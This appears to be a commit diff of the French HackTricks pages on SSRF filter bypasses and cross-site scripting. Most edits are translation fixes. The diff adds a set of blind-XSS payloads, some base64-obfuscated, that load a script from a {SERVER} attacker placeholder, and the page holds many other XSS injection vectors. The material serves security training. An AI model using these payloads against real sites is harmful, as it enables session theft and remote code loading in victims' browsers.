| versionedkeywords.py | Enveloppe chaque mot-clé non fonction avec un commentaire MySQL versionné |
|
||||
| versionedmorekeywords.py | Enveloppe chaque mot-clé avec un commentaire MySQL versionné |
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -5,6 +5,7 @@
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
0 # Yes, just 0 is localhost in Linuc
|
||||
http://127.0.0.1:80
|
||||
http://127.0.0.1:443
|
||||
http://127.0.0.1:22
|
||||
@ -166,7 +167,7 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
### Bypass via redirect
|
||||
|
||||
Il est possible que le serveur **filtre la requête originale** d'un SSRF **mais pas** une possible **réponse de redirection** à cette requête.\
|
||||
Par exemple, un serveur vulnérable au SSRF via : `url=https://www.google.com/` pourrait être **en train de filtrer le paramètre url**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'**accéder à des adresses IP filtrées** comme 127.0.0.1 ou même à des **protocoles filtrés** comme gopher.\
|
||||
Par exemple, un serveur vulnérable au SSRF via : `url=https://www.google.com/` pourrait **filtrer le paramètre url**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'**accéder à des adresses IP filtrées** comme 127.0.0.1 ou même à des **protocoles** filtrés comme gopher.\
|
||||
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -22,7 +22,7 @@
|
||||
2. Pouvez-vous échapper à la chaîne et exécuter un code JS différent ?
|
||||
3. Vos entrées sont-elles dans des littéraux de template \`\` ?
|
||||
4. Pouvez-vous contourner les protections ?
|
||||
4. Fonction JavaScript **exécutée**
|
||||
4. Fonction Javascript **exécutée**
|
||||
1. Vous pouvez indiquer le nom de la fonction à exécuter. par exemple : `?callback=alert(1)`
|
||||
4. Si **utilisée** :
|
||||
1. Vous pourriez exploiter un **DOM XSS**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un sink.**
|
||||
@ -47,8 +47,8 @@ Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoi
|
||||
|
||||
### HTML brut
|
||||
|
||||
Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
|
||||
De plus, gardez à l'esprit [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Si votre entrée est **réfléchie dans le HTML brut** de la page, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
|
||||
De plus, gardez à l'esprit [Injection de Template Côté Client](../client-side-template-injection-csti.md).
|
||||
|
||||
### À l'intérieur des attributs de balises HTML
|
||||
|
||||
@ -56,8 +56,8 @@ Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'un
|
||||
|
||||
1. D'**échapper de l'attribut et de la balise** (alors vous serez dans le HTML brut) et de créer une nouvelle balise HTML à abuser : `"><img [...]`
|
||||
2. Si vous **pouvez échapper de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), selon la balise, vous pourriez **créer un événement** qui exécute du code JS : `" autofocus onfocus=alert(1) x="`
|
||||
3. Si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** votre valeur est réfléchie et **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc de **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour l'exploiter) : **`" accesskey="x" onclick="alert(1)" x="**
|
||||
3. Si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** votre valeur est réfléchie et **si vous contrôlez toute la valeur ou juste une partie**, vous serez en mesure de l'abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous serez en mesure de le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :
|
||||
```html
|
||||
@ -147,7 +147,7 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Injection dans du HTML brut
|
||||
## Injection dans le HTML brut
|
||||
|
||||
Lorsque votre entrée est reflétée **dans la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose que vous devez faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **refléter** ce **caractère** et vérifiez s'il est **HTML encodé** ou **supprimé** ou s'il est **reflété sans modifications**. **Ce n'est que dans ce dernier cas que vous pourrez exploiter ce cas**.\
|
||||
Pour ces cas, gardez également à l'esprit [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
@ -161,12 +161,12 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Mais, si le filtrage des tags/attributs est utilisé, vous devrez **forcer par brute la création de tags**.\
|
||||
Une fois que vous avez **localisé quels tags sont autorisés**, vous devrez **forcer par brute les attributs/événements** à l'intérieur des tags valides trouvés pour voir comment vous pouvez attaquer le contexte.
|
||||
Mais, si le filtrage des tags/attributs est utilisé, vous devrez **forcer le brute-force des tags** que vous pouvez créer.\
|
||||
Une fois que vous avez **localisé quels tags sont autorisés**, vous devrez **forcer le brute-force des attributs/événements** à l'intérieur des tags valides trouvés pour voir comment vous pouvez attaquer le contexte.
|
||||
|
||||
### Force brute des tags/événements
|
||||
### Brute-force des tags/événements
|
||||
|
||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les tags dans le presse-papiers**_. Ensuite, envoyez-les tous en utilisant Burp intruder et vérifiez si des tags n'ont pas été découverts comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **forcer par brute tous les événements** en utilisant les tags valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
|
||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les tags dans le presse-papiers**_. Ensuite, envoyez-les tous en utilisant Burp intruder et vérifiez si des tags n'ont pas été découverts comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **forcer le brute-force de tous les événements** en utilisant les tags valides (dans la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
|
||||
|
||||
### Tags personnalisés
|
||||
|
||||
@ -233,7 +233,7 @@ onerror=alert`1`
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Les deux derniers utilisent 2 caractères unicode qui s'étendent à 5 : telsr\
|
||||
Les derniers utilisent 2 caractères unicode qui s'étendent à 5 : telsr\
|
||||
Plus de ces caractères peuvent être trouvés [ici](https://www.unicode.org/charts/normalization/).\
|
||||
Pour vérifier dans quels caractères sont décomposés, vérifiez [ici](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
@ -247,10 +247,10 @@ Si vous pensez juste que **c'est impossible de créer une balise HTML avec un at
|
||||
|
||||
## Injection à l'intérieur de la balise HTML
|
||||
|
||||
### À l'intérieur de la balise/échapper de la valeur de l'attribut
|
||||
### À l'intérieur de la balise/échapper de la valeur d'attribut
|
||||
|
||||
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est de **vous échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](#injecting-inside-raw-html) pour exécuter du code JS.\
|
||||
Si vous **ne pouvez pas vous échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, des guillemets doubles sont utilisés pour s'échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_) :
|
||||
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est d'**échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](#injecting-inside-raw-html) pour exécuter du code JS.\
|
||||
Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, des guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_) :
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -351,7 +351,7 @@ _**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section pr
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
De plus, il existe une autre **astuce sympa** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
|
||||
De plus, il existe une autre **astuce sympa** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -377,7 +377,7 @@ Vous pouvez utiliser l'**encodage Hex** et **Octal** à l'intérieur de l'attrib
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank"` et `rel="opener"`**, vérifiez **la page suivante pour exploiter ce comportement** :
|
||||
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank"` et `rel="opener"`**, consultez **la page suivante pour exploiter ce comportement** :
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -422,11 +422,11 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter un **payload XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
|
||||
Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Le payload XSS sera quelque chose comme ceci : `" accesskey="x" onclick="alert(1)" x="`**
|
||||
**La charge utile XSS sera quelque chose comme ceci : `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Contournements de liste noire
|
||||
|
||||
@ -488,7 +488,7 @@ Si `<>` sont assainis, vous pouvez toujours **échapper la chaîne** où votre e
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela s'appelle des littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS utilisant des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||
|
||||
Cela peut être **abusé** en utilisant :
|
||||
@ -591,7 +591,7 @@ console.log(log)
|
||||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||||
<img/src/onerror=alert(1)>
|
||||
```
|
||||
**Javascript à l'intérieur d'un commentaire**
|
||||
**Javascript dans un commentaire**
|
||||
```javascript
|
||||
//If you can only inject inside a JS comment, you can still leak something
|
||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||
@ -769,7 +769,7 @@ Peut-être qu'un utilisateur peut partager son profil avec l'admin et si le self
|
||||
|
||||
Si vous trouvez un self XSS et que la page web a un **miroir de session pour les administrateurs**, par exemple en permettant aux clients de demander de l'aide, afin que l'admin puisse vous aider, il verra ce que vous voyez dans votre session mais depuis sa session.
|
||||
|
||||
Vous pourriez faire en sorte que **l'administrateur déclenche votre self XSS** et voler ses cookies/session.
|
||||
Vous pourriez faire en sorte que **l'administrateur déclenche votre self XSS** et vole ses cookies/session.
|
||||
|
||||
## Autres Bypasses
|
||||
|
||||
@ -783,7 +783,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en u
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
En raison de **l'assignation de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
En raison de **l'attribution de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
Exemple de formulaire ([de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -833,7 +833,7 @@ Protocoles connus précédemment : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en
|
||||
|
||||
### Seulement des lettres, des chiffres et des points
|
||||
|
||||
Si vous êtes en mesure d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](#javascript-function) pour découvrir comment abuser de ce comportement.
|
||||
Si vous êtes capable d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](#javascript-function) pour découvrir comment abuser de ce comportement.
|
||||
|
||||
### Types de contenu `<script>` valides pour XSS
|
||||
|
||||
@ -901,7 +901,7 @@ import { partition } from "lodash"
|
||||
```
|
||||
Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin d'abuser de son déclenchement de XSS.
|
||||
|
||||
- [**règles de spéculation**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
|
||||
- [**règlesdespeculation**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -926,7 +926,7 @@ Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? pas dans la liste mais je pense l'avoir vu dans un CTF)
|
||||
- text/plain (?? pas dans la liste mais je pense avoir vu cela dans un CTF)
|
||||
- application/rss+xml (désactivé)
|
||||
- application/atom+xml (désactivé)
|
||||
|
||||
@ -1473,10 +1473,35 @@ Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
|
||||
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
|
||||
<!-- Image tag -->
|
||||
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- Input tag with autofocus -->
|
||||
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- In case jQuery is loaded, we can make use of the getScript method -->
|
||||
'"><script>$.getScript("{SERVER}/script.js")</script>
|
||||
|
||||
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
|
||||
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
|
||||
|
||||
<!-- Render an iframe to validate your injection point and receive a callback -->
|
||||
'"><iframe src="{SERVER}"></iframe>
|
||||
|
||||
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
|
||||
<base href="{SERVER}" />
|
||||
|
||||
<!-- Make use of the meta-tag to initiate a redirect -->
|
||||
<meta http-equiv="refresh" content="0; url={SERVER}" />
|
||||
|
||||
<!-- In case your target makes use of AngularJS -->
|
||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||
```
|
||||
### Regex - Accéder au contenu caché
|
||||
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) il est possible d'apprendre que même si certaines valeurs disparaissent de JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible de la trouver après que la valeur de l'entrée du regex a été supprimée :
|
||||
D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1614,5 +1639,6 @@ other-js-tricks.md
|
||||
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||||
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user